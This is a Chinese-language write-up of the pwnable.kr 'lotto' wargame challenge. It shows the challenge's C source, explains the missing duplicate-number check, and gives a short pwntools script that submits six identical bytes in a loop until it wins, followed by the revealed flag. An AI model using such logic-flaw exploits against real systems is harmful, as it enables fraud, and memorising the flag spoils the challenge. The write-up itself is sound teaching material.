pwnable.kr-lotto 又是一个很有趣的逻辑漏洞分析。

题目分析

根据所给信息

Mommy! I made a lotto program for my homework.
do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

我也是搜了一下 lotto 是什么意思,大概好像是彩票的意思,它给了C源码和二进制文件,先来看看源码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r;
r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}

}

void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

// menu
unsigned int menu;

while(1){

printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

就是随机生成了六个数,然后让你填六个数,如果都有那就正确,乍一看逻辑是没有问题的,但是仔细想想,它没有限制我的输入,也就是说,如果我是六个一模一样的数,那么概率就从一个很大的组合数变成了 45 的概率,那么我们就很容易写出脚本了。

题解

就是选择六个一模一样的数,只要有一个碰到了,那我就算中奖了,直接拿flag,但是 home 目录是不可写的,我们可以先在 /tmp 目录新建一个文件夹 cd 进去,把脚本传入,但是需要注意,把 flag 链接到同目录下才可以成功获取。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level='debug'
p=process('./lotto')

def play():
p.sendlineafter('3. Exit','1')
p.sendlineafter(':','\x06\x06\x06\x06\x06\x06')
p.recvuntil('bad luck...')

for i in range(100):
play()
p.interactive()

结果:

flag:sorry mom... I FORGOT to check duplicate numbers... :(